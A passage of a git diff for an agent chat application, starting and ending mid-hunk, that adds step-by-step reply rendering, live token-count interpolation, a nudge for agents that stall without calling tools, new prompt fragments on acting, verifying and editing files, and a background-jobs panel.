that called nothing has to have written before +# it counts as having stalled rather than as having answered. A model that talks +# itself out of every tool call produces pages of it -- announcing the call, +# reconsidering, announcing it again -- while somebody asking a question in an +# agent chat and getting a couple of lines back has simply been answered. The +# number only has to sit between those two, and there is nothing to tune here. +NUDGE_MIN_CHARS = 1500 + # How much of the window a request may occupy before the next round is refused. # A tool round appends an assistant turn and a tool turn per call, so a reply # that keeps calling tools grows its own request until the endpoint refuses it -- @@ -100,6 +108,11 @@ class Generation: # live as the model works and kept on the message afterwards. tool_events: list[dict] = field(default_factory=list) + # Where each round's contribution ended, so the three stores above can be + # rendered as the one sequence they were. Written by `close_step`, and + # marks rather than copies -- see services/steps.py. + steps: list[dict] = field(default_factory=list) + # --- What it cost -------------------------------------------------------- # Prompt and completion are summed across tool rounds: what the reply cost. # context_tokens is overwritten each round with that round's prompt plus @@ -121,6 +134,18 @@ class Generation: # `context_tokens`, so the fallback mirrors it rather than inventing a # second convention. prompt_estimate_total: int = 0 + # Whether any round's usage block ever arrived. The one fact that decides + # whether these numbers are counted or worked out, recorded where it is + # known instead of inferred downstream from "are both counts non-zero?" -- + # which the end-of-reply fallback makes true of a reply nobody counted, so + # the `~` vanished at exactly the moment everything became an estimate. + reported_usage: bool = False + # How many characters of text and reasoning had been written when that usage + # block arrived. What is written past it is this round's, uncounted until the + # round ends -- so it is the gap the metrics interpolate across, and it is + # what keeps the counts moving between one usage chunk and the next instead + # of standing still for a whole round. + counted_chars: int = 0 rounds: int = 0 # time.monotonic() at the start. A field rather than a local in `_run` # because `_follow` is a different function that sees only this object, and @@ -190,6 +215,28 @@ class Generation: def touch(self) -> None: self.version += 1 + def close_step(self) -> None: + """End the step being written. Everything appended from here is the next. + + Called where a round's contribution ends and nowhere else, so the list + stays append-only and an index into it means the same step for ever -- + which is what the transcript's DOM ids are built from, and therefore + what lets a block somebody opened survive both a stream frame and the + `done` frame that replaces the whole bubble. + + There is deliberately no closing mark at the end of a reply. The + trailing step is implicit in both the live path and the stored one, and + one rule is one thing to get right. + """ + self.steps.append( + { + "round": self.rounds, + "thinking_to": len(self.thinking), + "text_to": len(self.text), + "tools_to": len(self.tool_events), + } + ) + @property def text(self) -> str: return "".join(self.content) @@ -511,6 +558,7 @@ async def _run(generation: Generation) -> None: async for chunk in stream_chat(endpoint, payload): counts = chunk_usage(chunk) if counts is not None: + generation.reported_usage = True generation.prompt_tokens += counts.get("prompt_tokens", 0) generation.completion_tokens += counts.get("completion_tokens", 0) # Overwritten, not summed: this round's prompt already @@ -568,6 +616,15 @@ async def _run(generation: Generation) -> None: generation.content.append(piece) round_text.append(piece) + # Here, and not where the usage chunk was read. The usage block + # arrives while the splitter is still holding this round's last few + # characters back, so stamping it there left those characters looking + # uncounted and the stored figure came out a token or two above what + # the endpoint actually said. A round's usage covers a round's + # output, so the mark belongs at the round's end. + # See metrics._since_counted. + _mark_counted(generation) + calls = accumulator.calls if generation.stopped or not calls: # The model says it is done. Believe it -- unless this is an @@ -704,6 +761,10 @@ async def _run(generation: Generation) -> None: # ticked off. if outcome.event.get("plan_final"): generation.plan_final = True + # This round is over: its thinking, its prose and its tool calls are + # all in. Anything appended from here belongs to the next step, and + # that is what makes the bubble a sequence rather than three zones. + generation.close_step() generation.touch() # Something typed while this reply was working. Taken in here, at a @@ -735,6 +796,7 @@ async def _run(generation: Generation) -> None: for kind, piece in splitter.flush(): (generation.reasoning if kind == REASONING else generation.content).append(piece) + _mark_counted(generation) generation.touch() except LLMError as exc: @@ -752,21 +814,19 @@ async def _run(generation: Generation) -> None: generation.reasoning_ms = int((time.monotonic() - reasoning_started) * 1000) generation.elapsed_ms = int((time.monotonic() - started) * 1000) - if not generation.completion_tokens: - # The endpoint reported nothing, so fall back to the estimate. Marked - # as such everywhere it is shown -- four characters to a token is - # wrong enough on code and CJK to be worth saying out loud. - generation.completion_tokens = tokens.estimate( - generation.text + generation.thinking - ) - # Mirroring the reported figures exactly: the prompt is summed - # across rounds because it was paid for each time, while what the - # reply *occupies* is the last round's prompt plus what was written. - # Both used to come from one estimate taken before the first round. - generation.prompt_tokens = ( - generation.prompt_estimate_total or generation.prompt_estimate - ) - generation.context_tokens = generation.prompt_estimate + generation.completion_tokens + # There used to be a fallback here filling `completion_tokens`, + # `prompt_tokens` and `context_tokens` from the estimates when the + # endpoint had reported nothing. It is gone, and nothing is lost: + # `metrics.from_generation` now takes `max(reported, estimated)` for + # every one of the three, so the same figures come out and the row is + # written through the same code the live chips are rendered from. + # + # Two copies of one rule was the actual fault, not an accident of + # placement. They disagreed -- the fallback used `prompt_estimate_total` + # where the live path used `prompt_estimate` -- so the numbers jumped at + # the `done` frame; and writing into these fields made "did the endpoint + # count this?" unanswerable afterwards, which is what `reported_usage` + # now records instead. # Naming the chat is a second, short completion, so it has to happen # here rather than in the synchronous persist step below. Best-effort: @@ -959,6 +1019,11 @@ def _gave_up(generation, why: str) -> None: "error": f"Stopped {why}. Ask again to carry on from here.", } ) + # Its own step. This event is appended outside the round loop, so without a + # mark it would fall into the open tail -- where the live view has no tools + # slot -- and the one line saying why the reply stopped would be the one + # line nobody saw. + generation.close_step() generation.touch() @@ -1009,6 +1074,9 @@ def _wrap_up(generation, why: str, payload: dict, *, name: str = "budget") -> tu ), } ) + # Same reason as `_gave_up`: appended outside the round loop, so it needs a + # mark of its own or it lands in the step still being written. + generation.close_step() generation.touch() return [], {key: value for key, value in payload.items() if key != "tools"} @@ -1026,10 +1094,24 @@ def _nudge( A model that stops with work outstanding is the failure `core.keep_working` is worded against, and prompting is the cheaper half of the fix. This is the - other half, and it only fires where there is something objective to check - against: an open task on the chat's own plan. Without a plan there is - nothing to be wrong about, so nothing happens -- a model that has genuinely - finished must be able to say so and be believed. + other half, and it fires only where there is something objective to check + against. There are two such things, and they are checked in that order: + + 1. **An open task on the chat's own plan.** The strongest signal there is -- + the model wrote the list itself and has not crossed the item off. + 2. **A long reply that touched nothing.** No plan, no tool call anywhere in + the reply, and more prose than a short answer. That is the shape of a + model deliberating itself to a standstill: announcing the call, + reconsidering, announcing it again, and ending the turn having done + nothing -- because a round with no tool calls is a model saying it is + finished, and it is taken at its word. `core.commit` is the prompt half. + + The second is deliberately narrow. `generation.tool_events` being empty is + what keeps it away from the common case: a reply that did some work and then + said it was done has made a claim about work anybody can see, and arguing + with that is how a model gets nagged for finishing. And `NUDGE_MIN_CHARS` + keeps it away from the other one -- somebody asking a question in an agent + chat and getting a two-line answer is not a stalled agent. Every "no" is a plain None: @@ -1037,7 +1119,7 @@ def _nudge( * this is not an agent chat, or is one in Plan mode -- `plan_submit` ends the turn deliberately and nudging past it would be arguing with the whole point of the mode; - * there is no plan, or every task on it is done or dropped; + * neither signal is present; * there is no round left to carry on in, or it has already been asked MAX_NUDGES times in a row. @@ -1049,6 +1131,8 @@ def _nudge( return None if agent.mode == agent_policy.MODE_PLAN or generation.plan_final: return None + if round_number >= budget: + return None plan = generation.plan if generation.plan is not None else agent.plan open_tasks = [ @@ -1057,12 +1141,23 @@ def _nudge( for task in phase.get("tasks", []) if task.get("status") not in ("done", "dropped") ] - if not open_tasks: - return None - if round_number >= budget: + stalled = ( + not open_tasks + and not generation.tool_events + and len(generation.text) >= NUDGE_MIN_CHARS + ) + if not open_tasks and not stalled: return None - if generation.nudges >= MAX_NUDGES: + # Asked twice about an open plan task, once about having touched nothing. + # The plan is a list the model wrote and has not crossed off, which is still + # true after being asked; "you have not used a tool" is answered by the very + # next reply, and that reply is invited to say in one line that the work is + # finished. Asking again would be refusing the answer we asked for. Note the + # text is cumulative across rounds, so without this the signal stays true + # for the rest of the reply however the model responds. + ceiling = MAX_NUDGES if open_tasks else 1 + if generation.nudges >= ceiling: generation.tool_events.append( { "name": "plan_update", @@ -1071,7 +1166,9 @@ def _nudge( "error": ( f"Stopped with {len(open_tasks)} task(s) still open on the " f"plan, after being asked twice to carry on." - ), + ) + if open_tasks + else "Ended without using any tool, after being asked to carry on.", "results": [], } ) @@ -1079,11 +1176,22 @@ def _nudge( return None generation.nudges += 1 - remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8]) # A user turn, and phrased as the reader would phrase it. Everything else # this codebase injects is quoted and attributed because it came out of a # file or a machine; this is the application speaking on the reader's behalf # about the reader's own plan, which is the one case where that is honest. + if not open_tasks: + return { + "role": "user", + "content": ( + "That reply did not use any tool, so nothing has actually been done " + "yet. If you were about to run or read something, do it now. If the " + "work really is finished, or you need something from me before you " + "can go on, say which in one line." + ), + } + + remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8]) return { "role": "user", "content": ( @@ -1110,6 +1218,18 @@ def _too_big(generation: Generation) -> bool: return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM +def _mark_counted(generation: Generation) -> None: + """Record that everything written so far is covered by a reported count. + + A no-op until some usage block has arrived, because until then there is + nothing to interpolate from and `metrics.from_generation` falls back to + estimating the lot. After that it is what makes a reported figure be shown + verbatim rather than with an estimate added on top of it. + """ + if generation.reported_usage: + generation.counted_chars = len(generation.text) + len(generation.thinking) + + def _written(generation: Generation) -> int: """How much this reply has written so far, in tokens, reported or estimated. @@ -1693,6 +1813,11 @@ def _persist(generation: Generation, title: str, elapsed: float) -> None: message.reasoning = generation.thinking message.reasoning_ms = generation.reasoning_ms message.tool_calls_json = generation.tool_events + # Written together with the three stores it indexes, by the one + # writer, so a row can never carry marks that describe a different + # reply's text. Regeneration reuses the `Message` row and overwrites + # all four for the same reason. + message.steps_json = generation.steps message.plan_json = generation.plan or {} if generation.canvas.get("tabs"): # A union with whatever the row says *now*, not an overwrite: diff --git a/src/lembas/services/harness.py b/src/lembas/services/harness.py index 953f090..8021b79 100644 --- a/src/lembas/services/harness.py +++ b/src/lembas/services/harness.py @@ -70,7 +70,14 @@ log = logging.getLogger(__name__) # crosses, and crossing it is silent: `assemble` cuts the tail, and the tail is # the project's own AGENTS.md. `tests/test_harness.py` pins a margin now as well # as a fit, so the room is a fact rather than a hope. -MAX_HARNESS_CHARS = 20000 +# +# 24,000 now, because that margin did its job: adding `core.commit` and +# `tool.agent_edits` took the headroom under 20% and the test said so rather +# than the AGENTS.md quietly losing its last paragraph on somebody's install. +# Raising the ceiling costs nothing by itself -- it is a limit, not a size, and +# the assembled block is the same length either way. What it buys is that the +# margin keeps meaning what it says. +MAX_HARNESS_CHARS = 24000 # How much of the ceiling the shipped fragments may occupy at full budget. The # rest is headroom for an administrator's own wording, which is the thing this diff --git a/src/lembas/services/markdown.py b/src/lembas/services/markdown.py index 0afa338..30e2e9b 100644 --- a/src/lembas/services/markdown.py +++ b/src/lembas/services/markdown.py @@ -157,6 +157,43 @@ def render_markdown(text: str) -> str: ) +# A fence opener: three or more backticks or tildes at the start of a line, +# optionally indented, with whatever info string follows. Deliberately shallow -- +# it does not know about lists, block quotes or indented code, and it does not +# have to. See `open_fence`. +_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$") + + +def open_fence(text: str) -> tuple[str, str]: + """The marker and info string of a fence left open, or ``("", "")``. + + A reply is rendered in pieces now -- one per step, split where the model + stopped to call a tool -- and a fence opened in one piece and never closed + would run to the end of that piece and then leave every later fence in the + reply paired up wrongly. `services/steps.py` uses this to close such a fence + at the end of its own segment and reopen it at the start of the next. + + Deliberately not a second Markdown parser. It has to be right about one + thing: a model that opened a fence and then called a tool. Where it is + unsure it says "no fence", which renders exactly as the whole-text version + always did. + """ + marker = "" + info = "" + for line in text.splitlines(): + found = _FENCE.match(line) + if found is None: + continue + fence, rest = found.group(1), found.group(2).strip() + if not marker: + marker, info = fence, rest + elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest: + # A closer is the same character, at least as long, and carries no + # info string. Anything else inside an open fence is just text. + marker, info = "", "" + return marker, info + + # A mention is `@` followed by a run of non-space, claimed only at the start of # the text or after whitespace. That last part is the whole rule: without it # every email address in a message becomes a highlighted file reference, which diff --git a/src/lembas/services/metrics.py b/src/lembas/services/metrics.py index b371f12..f829435 100644 --- a/src/lembas/services/metrics.py +++ b/src/lembas/services/metrics.py @@ -75,17 +75,39 @@ class Metrics: def from_generation(generation: Any) -> Metrics: """Metrics for a reply still being written. - Usage arrives in a single chunk at the very end, so mid-stream there is - nothing to report and everything is estimated. The counts stop being - estimates the moment that chunk lands, which is usually a beat before the - bubble is replaced. + A reported count is never second-guessed. Where the endpoint has said a + number, that number is what is shown; our own estimate is four characters to + a token and is wrong enough on code and CJK that overriding an exact figure + with it would be a downgrade dressed as a fix. + + What the estimate is for is the gap *between* reported counts. Usage arrives + once per round, so on a forty-round agent reply the counts used to stand + still for minutes at a time while text streamed underneath them -- reported + was non-zero from round one onwards, so the `or` below never reached its + fallback again. `_since_counted` closes that gap: it is what has been written + since the last usage chunk, and it is zero at the moment one lands. So the + figures climb while a round runs and land exactly on the reported total when + it ends, which is the same property in both directions. + + The prompt is deliberately not treated that way. It does not grow within a + round -- it is the request that was sent -- so there is nothing to interpolate + and nothing that would freeze. """ import time - completion = generation.completion_tokens or tokens.estimate( + # Zero the instant a usage chunk lands, so a reported figure is passed + # through untouched and only the interval between them is filled in. + extra = _since_counted(generation) + + completion = (generation.completion_tokens + extra) or tokens.estimate( generation.text + generation.thinking ) - prompt = generation.prompt_tokens or generation.prompt_estimate + # `prompt_estimate_total`, not `prompt_estimate`. The two answer different + # questions -- every round's prompt against the latest round's -- and this + # chip is what the reply cost, which is the sum. Reading the latest one here + # while the end-of-reply path stored the total made the number visibly jump + # at the `done` frame on any reply that called a tool. + prompt = generation.prompt_tokens or generation.prompt_estimate_total elapsed = generation.elapsed_ms or ( int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0 ) @@ -94,14 +116,34 @@ def from_generation(generation: Any) -> Metrics: prompt_tokens=prompt, completion_tokens=completion, total_tokens=prompt + completion, - context_tokens=generation.context_tokens or (prompt + completion), + context_tokens=(generation.context_tokens + extra) + or (generation.prompt_estimate + completion), context_limit=generation.context_limit, - estimated=not (generation.prompt_tokens and generation.completion_tokens), + # One recorded fact rather than an inference from two counts. Inferring + # it read `False` once the end-of-reply fallback had filled both fields + # in, so a reply estimated from beginning to end showed `~` throughout + # and then dropped it at the moment it was stored -- the tilde vanishing + # exactly where it was most needed. + estimated=not generation.reported_usage, elapsed_ms=elapsed, rounds=max(1, generation.rounds), ) +def _since_counted(generation: Any) -> int: + """Tokens written since the last usage chunk, estimated. + + Zero before any usage has been reported -- the `or` fallbacks in + `from_generation` cover that case whole -- and zero again the moment each + chunk lands, because `counted_chars` is stamped there. In between it is the + only thing that moves. + """ + if not generation.reported_usage: + return 0 + written = len(generation.text) + len(generation.thinking) + return tokens.estimate_chars(max(0, written - generation.counted_chars)) + + def from_message(usage_json: dict[str, Any] | None) -> Metrics: """Metrics for a finished reply, read back off the row.""" stored = usage_json or {} diff --git a/src/lembas/services/prompts.py b/src/lembas/services/prompts.py index fba9eaa..faf2447 100644 --- a/src/lembas/services/prompts.py +++ b/src/lembas/services/prompts.py @@ -718,7 +718,11 @@ BUILTIN: tuple[Fragment, ...] = ( "removed assertion or a skipped test buys a green run and keeps the bug.\n" " - Say what you did and what you checked, including what you could not " "check. If something is still broken, say so — being told a job is " - "finished when it is not is worse than being told it is hard." + "finished when it is not is worse than being told it is hard.\n" + " - Done means run. Before you say the work is finished, run the thing " + "one more time — the tests, the build, the script — and say what came back. " + "Reading your own change and finding it correct is not the same evidence, " + "and if you could not run it, say that instead of implying you did." ), ), Fragment( @@ -769,6 +773,28 @@ BUILTIN: tuple[Fragment, ...] = ( "reply ends." ), ), + Fragment( + key="core.commit", + label="Deciding and then doing", + group=GROUP_CORE, + order=114, + families=("agent",), + hint="An agent chat only, and the counterweight to the fragment above " + "it. `core.narrate` tells a model to work out loud and nothing told it " + "to stop, which a smaller model reads as licence to deliberate " + "indefinitely: it announces the call, reconsiders, announces it again, " + "and the reply ends having done nothing, because a round that produces " + "no tool call is a model saying it has finished. Narration is worth " + "having and this is what bounds it.", + default=( + "When you have decided what to do, do it in the same turn — make the call. " + "Do not restate the decision, re-check what you have already checked, or " + "write another line about what you are about to do. If you have written the " + "same intention twice, that is the signal that you should already have " + "acted. Thinking on the page is fine; finishing a reply having only thought " + "is not, because a turn that calls nothing is a turn that says you are done." + ), + ), Fragment( key="core.interjection", label="Being interrupted", @@ -1101,16 +1127,47 @@ BUILTIN: tuple[Fragment, ...] = ( "a new turn -- and that that turn is a machine event, not the person, " "the same distinction core.interjection draws for a typed message.", default=( - "- A command that would take a while — an install, a build, a download — " - "can run in the background: pass `background: true`, or just let it run and " - "it is kept going rather than killed when it reaches its timeout. It keeps " - "running after this reply. Read it with job_output, stop it with job_stop.\n" + "- A command that would take a while — an install, a build, a download, a " + "long test run — can run in the background: pass `background: true`, or " + "just let it run and it is kept going rather than killed when it reaches " + "its timeout. It keeps running after this reply. Read it with job_output, " + "list what is running with job_list, stop one with job_stop.\n" + "- Check a job with job_output rather than running the command again. A " + "second copy of a build or an install competing with the first is how both " + "fail, and the output you want is already being collected. Get on with " + "something else in the meantime — that is what backgrounding it was for.\n" "- When a background job finishes you are told in a new turn that begins " "\"A background job you started has finished\". That is a machine event " "reporting a result, not the person you are talking to — read it as you " "would the output of any command, and carry on from it." ), ), + Fragment( + key="tool.agent_edits", + label="Changing a file", + group=GROUP_TOOLS, + order=252, + families=("agent",), + hint="An agent chat only. All of this is in the `file_edit` " + "description, which is schema and cannot be edited -- and it is still " + "the tool models get wrong most often. The description is read once " + "alongside twelve others; this is guidance, and it says the two things " + "the description cannot: what to do when a patch is refused, and that " + "rewriting the file instead is the worse answer rather than the " + "fallback.", + default=( + "- Changing part of a file: read it with file_read first — file_edit " + "refuses otherwise, and the refusal is about this same reply — then send a " + "patch with about three unchanged lines either side of each change. The " + "line numbers in a hunk header may be approximate; the context lines may " + "not, and they are what the change is found by.\n" + "- If a patch is refused you are shown the file as it actually is around " + "where the hunk expected to land. Write the next patch from that, not from " + "memory. Sending the same patch again will fail the same way, and falling " + "back to file_write is worse than either: it replaces the whole file, so " + "everything you did not happen to recall is gone." + ), + ), Fragment( key="tool.project_files", label="What is in the project directory", diff --git a/src/lembas/services/steps.py b/src/lembas/services/steps.py new file mode 100644 index 0000000..26a43b1 --- /dev/null +++ b/src/lembas/services/steps.py @@ -0,0 +1,205 @@ +"""A reply as the sequence of steps it actually was. + +The three stores a reply writes into -- text, reasoning and tool events -- are +each append-only and each correct. What none of them records is *interleaving*: +where round three's thinking sat relative to round three's command and to the +sentence that came after it. So a bubble was rendered as three zones, all the +thinking, then all the tools, then all the prose, which reads fine on a two-round +answer and is unusable on a forty-round one. + +The fix is a table of contents rather than a fourth copy of anything. A **mark** +is written when a round's contribution ends, holding the cumulative length of +each store at that moment; the text between two marks is one step's prose, and so +on. Nothing is duplicated, so `build_messages`, compaction, titling and the copy +button all still see `message.content` as the single string it always was. + +**No marks means the old layout.** Every reply written before this existed reads +back an empty list, and `_build` answers that with thinking, then tools, then +text -- exactly what those bubbles have always shown. There is no version flag +and no branch in the template. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Any + +from lembas.services.markdown import open_fence, render_markdown + +KIND_THINKING = "thinking" +KIND_TEXT = "text" +KIND_TOOLS = "tools" + + +@dataclass(frozen=True) +class Step: + """One thing that happened, in the order it happened. + + `index` is the position of the mark this came from, and the trailing step -- + the one still being written -- takes the index one past the last mark. It is + what every DOM id in the transcript is derived from, which is what lets an + open block survive both a stream frame and the `done` frame that replaces the + whole bubble: the marks are append-only, so index N always means the same + step, live and afterwards alike. + """ + + index: int + kind: str + open: bool = False + text: str = "" + html: str = "" + events: tuple[dict, ...] = field(default_factory=tuple) + + +def for_message(message: Any) -> list[Step]: + """Every step of a finished reply, read off the row. + + A Jinja global (see `web/templating.py`) for the reason `tool_label` is: the + bubble is rendered from four different handlers, and a fifth thing each of + them had to remember to pass is a fifth thing one of them would forget. + """ + return _build( + text=message.content or "", + thinking=(message.reasoning or "") if not message.error else "", + events=list(message.tool_calls_json or []), + marks=list(getattr(message, "steps_json", None) or []), + ) + + +def closed_from(generation: Any, since: int) -> list[Step]: + """The finished steps of a running reply, from mark `since` onwards. + + Only the new ones, because `_follow` keeps what it has already rendered. A + closed step never changes again -- that is what closing one means -- so the + whole prefix does not have to be re-rendered twelve times a second, which is + what the tool block used to cost on a long reply. + """ + return _build( + text=generation.text, + thinking=generation.thinking, + events=list(generation.tool_events), + marks=list(generation.steps), + since=since, + include_open=False, + ) + + +def tail(generation: Any) -> tuple[str, str]: + """What is being written right now: `(thinking, text)` past the last mark. + + The text carries a fence reopener where one is needed, so a code block + started before the last tool call goes on rendering as a code block instead + of the prose underneath it briefly becoming one. + """ + marks = list(generation.steps) + last = marks[-1] if marks else {} + thinking = generation.thinking[_at(last, "thinking_to") :] + text = generation.text[_at(last, "text_to") :] + carry = _carry_before(generation.text, marks) + return thinking, (f"{carry}\n{text}" if carry and text else text) + + +def _at(mark: dict, key: str) -> int: + value = mark.get(key, 0) + return value if isinstance(value, int) and value > 0 else 0 + + +def _build( + *, + text: str, + thinking: str, + events: list[dict], + marks: list[dict], + since: int = 0, + include_open: bool = True, +) -> list[Step]: + """The shared walk. + + Every offset is clamped and nothing here raises. A `steps_json` that + disagrees with the three stores -- a row half-written when the process died, + a hand-edited one -- has to degrade to a slightly odd order, never to a + transcript that will not render at all. + """ + steps: list[Step] = [] + + if not marks: + # The compatibility layout, and the layout of any reply that called + # nothing: for that one the two orders are the same list, because there + # are no tool blocks to sit between the prose. + if thinking: + steps.append(Step(index=0, kind=KIND_THINKING, text=thinking)) + if events: + steps.append(Step(index=0, kind=KIND_TOOLS, events=tuple(events))) + if text: + steps.append( + Step(index=0, kind=KIND_TEXT, open=include_open, html=render_markdown(text)) + ) + return steps + + thought_from = 0 + text_from = 0 + tools_from = 0 + carry = "" + + for index, mark in enumerate(marks): + thought_to = min(max(_at(mark, "thinking_to"), thought_from), len(thinking)) + text_to = min(max(_at(mark, "text_to"), text_from), len(text)) + tools_to = min(max(_at(mark, "tools_to"), tools_from), len(events)) + + thought = thinking[thought_from:thought_to] + said = text[text_from:text_to] + ran = events[tools_from:tools_to] + + # Computed for every step even when this one is not being returned: + # `closed_from` renders a suffix, and whether a fence is open depends on + # everything before it. + source = f"{carry}\n{said}" if carry and said else said + marker, info = open_fence(source) + if marker: + source = f"{source}\n{marker}" + + if index >= since: + # Thinking, then prose, then tools -- the order a model emits them. + if thought: + steps.append(Step(index=index, kind=KIND_THINKING, text=thought)) + if said: + steps.append(Step(index=index, kind=KIND_TEXT, html=render_markdown(source))) + if ran: + steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(ran))) + + carry = f"{marker}{info}" if marker else "" + thought_from, text_from, tools_from = thought_to, text_to, tools_to + + if not include_open: + return steps + + # Everything past the last mark. Implicit rather than written, in both the + # live path and the stored one -- one rule instead of two that could drift. + index = len(marks) + if trailing_thought := thinking[thought_from:]: + steps.append(Step(index=index, kind=KIND_THINKING, text=trailing_thought)) + if trailing_text := text[text_from:]: + source = f"{carry}\n{trailing_text}" if carry else trailing_text + steps.append(Step(index=index, kind=KIND_TEXT, open=True, html=render_markdown(source))) + if trailing_events := events[tools_from:]: + steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(trailing_events))) + + return steps + + +def _carry_before(text: str, marks: list[dict]) -> str: + """The fence still open when the last mark was written, if any.""" + if not marks: + return "" + carry = "" + start = 0 + for mark in marks: + end = min(max(_at(mark, "text_to"), start), len(text)) + source = f"{carry}\n{text[start:end]}" if carry else text[start:end] + marker, info = open_fence(source) + carry = f"{marker}{info}" if marker else "" + start = end + return carry + + +__all__ = ["KIND_TEXT", "KIND_THINKING", "KIND_TOOLS", "Step", "closed_from", "for_message", "tail"] diff --git a/src/lembas/services/tokens.py b/src/lembas/services/tokens.py index 6e60342..4707e8c 100644 --- a/src/lembas/services/tokens.py +++ b/src/lembas/services/tokens.py @@ -28,6 +28,18 @@ def estimate(text: str) -> int: return max(1, round(len(text) / CHARS_PER_TOKEN)) +def estimate_chars(count: int) -> int: + """The same conversion, for a length somebody has already measured. + + `estimate` floors at one token for any non-empty string, which is right for + a piece of text and wrong for a difference between two lengths: a reply that + had grown by nothing would report a token. Zero means zero here. + """ + if count <= 0: + return 0 + return round(count / CHARS_PER_TOKEN) + + def estimate_content(content: Any) -> int: """A message's content, whether it is a plain string or typed parts. diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css index 3e1d6e1..f0972f2 100644 --- a/src/lembas/web/static/css/chat.css +++ b/src/lembas/web/static/css/chat.css @@ -952,6 +952,90 @@ .composer__context select[name="agent_mode"] { flex: none; } .composer__dir-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +/* --- Background jobs ------------------------------------------------------- + A chip in the composer row saying how many commands are still running out + there, and a panel behind it. `flex: none` for the reason the mode select is: + this is a control being read, and the row's one shrinkable child is + `.composer__context` itself. */ +.composer__jobs { flex: none; display: flex; align-items: center; } +.composer__chip--jobs { + gap: var(--sp-1); + color: var(--accent); + font-variant-numeric: tabular-nums; +} +/* Something is still happening on a machine nobody is looking at, which is the + whole reason this exists. Slow, because it sits beside the composer for as + long as a build takes and a fast pulse there is a nuisance rather than a + signal. + + No reduced-motion guard here, and not from carelessness: this file is pinned + to contain no media queries at all -- the test matches the string, comments + included -- and `dot-pulse` and `caret` above set the same precedent. + Honouring that preference belongs in one rule covering every animation, in + app.css, rather than in a third copy of the exception. */ +.composer__chip--jobs .icon { animation: jobs-pulse 2.4s ease-in-out infinite; } +@keyframes jobs-pulse { 50% { opacity: 0.35; } } + +.picker__menu--jobs { width: min(34rem, 92vw); } + +.jobs__row { padding: var(--sp-2) 0; border-bottom: 1px solid var(--border); } +.jobs__row:last-child { border-bottom: 0; } +.jobs__head { display: flex; align-items: center; gap: var(--sp-2); } + +.jobs__dot { + flex: none; + width: 0.5rem; + height: 0.5rem; + border-radius: var(--radius-full); + background: var(--ink-muted); +} +.jobs__dot--running { background: var(--accent); } +.jobs__dot--killed { background: var(--warning); } +.jobs__dot--lost { background: var(--danger); } + +/* The command is the button: the row is wide, the affordance should be too. + `min-width: 0` or the flex item will not shrink below its content and the + Stop button is what falls off -- the same rule as the composer row itself. */ +.jobs__command { + flex: 1 1 auto; + min-width: 0; + text-align: left; + background: none; + border: 0; + padding: 0; + color: inherit; + cursor: pointer; + font: inherit; +} +.jobs__command code { + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-size: var(--text-xs); +} +.jobs__stop { flex: none; } + +.jobs__meta { + margin: var(--sp-1) 0 0; + font-size: var(--text-xs); + color: var(--ink-muted); +} +.jobs__error { margin: var(--sp-2) 0 0; font-size: var(--text-xs); color: var(--danger); } + +.jobs__log { + margin: var(--sp-2) 0 0; + max-height: 16rem; + overflow: auto; + padding: var(--sp-2); + border-radius: var(--radius-sm); + background: var(--bg-sunken); + font-family: var(--font-mono); + font-size: var(--text-xs); + white-space: pre-wrap; + word-break: break-word; +} + .composer__hint { margin: var(--sp-2) 0 0; font-size: var(--text-xs); diff --git a/src/lembas/web/static/js/app.js b/src/lembas/web/static/js/app.js index 55da89b..a600627 100644 --- a/src/lembas/web/static/js/app.js +++ b/src/lembas/web/static/js/app.js @@ -109,14 +109,55 @@ return el.scrollHeight - el.scrollTop - el.clientHeight < STICK_THRESHOLD; } + /* Whether the view is following the reply. Distance to the bottom used to be + the whole test, and it very nearly is -- but somebody near the bottom who + opens a tool block is *reading*, and the next frame eighty milliseconds + later dragged them straight back down again. At twelve frames a second that + reads as a block that will not open at all. + + So opening one turns following off, and returning to the bottom turns it + back on. `stick` is the gate; `isNearBottom` is what maintains it. */ + var stick = true; + /* Where scrollThread last put it, so a scroll event can be told apart from a + scroll the reader did. Without this the programmatic scroll re-arms `stick` + on its own and nothing ever unsticks. */ + var placed = -1; + function scrollThread(force) { var thread = document.getElementById("thread-scroll"); if (!thread) return; - if (force || isNearBottom(thread)) { + if (force) stick = true; + if (stick) { thread.scrollTop = thread.scrollHeight; + placed = thread.scrollTop; } } + document.addEventListener( + "scroll", + function (event) { + var thread = event.target; + if (!thread || thread.id !== "thread-scroll") return; + if (thread.scrollTop === placed) return; + stick = isNearBottom(thread); + }, + true + ); + + /* `toggle` does not bubble, so this has to be registered in the CAPTURE phase. + Without the third argument the listener is never called and the whole thing + is silently dead in every browser -- the same shape of failure as a trigger + bound where the event does not go. There is a test on it. */ + document.addEventListener( + "toggle", + function (event) { + var el = event.target; + if (!el || el.tagName !== "DETAILS" || !el.open) return; + if (el.closest && el.closest("#thread-scroll")) stick = false; + }, + true + ); + /* --- Attachments ------------------------------------------------------- Files are uploaded one at a time as soon as they are chosen, dropped or pasted, rather than all at once when the message is sent. The chip (or the @@ -711,8 +752,15 @@ scrollThread(false); }); - /* Tokens arriving over SSE are appended outside the normal swap cycle. */ - document.body.addEventListener("htmx:sseMessage", function () { + /* Tokens arriving over SSE are appended outside the normal swap cycle. + + Narrowed to frames that land in the thread. `metrics`, `status`, `ask` and + `canvas` all arrive on this event too, so the unconditional version fired + up to seven times per version bump -- most of them for content that changes + no height at all. */ + document.body.addEventListener("htmx:sseMessage", function (event) { + var target = event.target; + if (target && target.closest && !target.closest("#thread-scroll")) return; scrollThread(false); }); })(); diff --git a/src/lembas/web/static/js/composer.js b/src/lembas/web/static/js/composer.js index 9055b64..d26cab5 100644 --- a/src/lembas/web/static/js/composer.js +++ b/src/lembas/web/static/js/composer.js @@ -461,20 +461,11 @@ !event.target.closest("[data-composer-input]")) hide(); }); - /* Opening the menu from a button, for anyone who would rather press than - type. Inserts the character and lets the normal path take over. */ - document.addEventListener("click", function (event) { - var button = 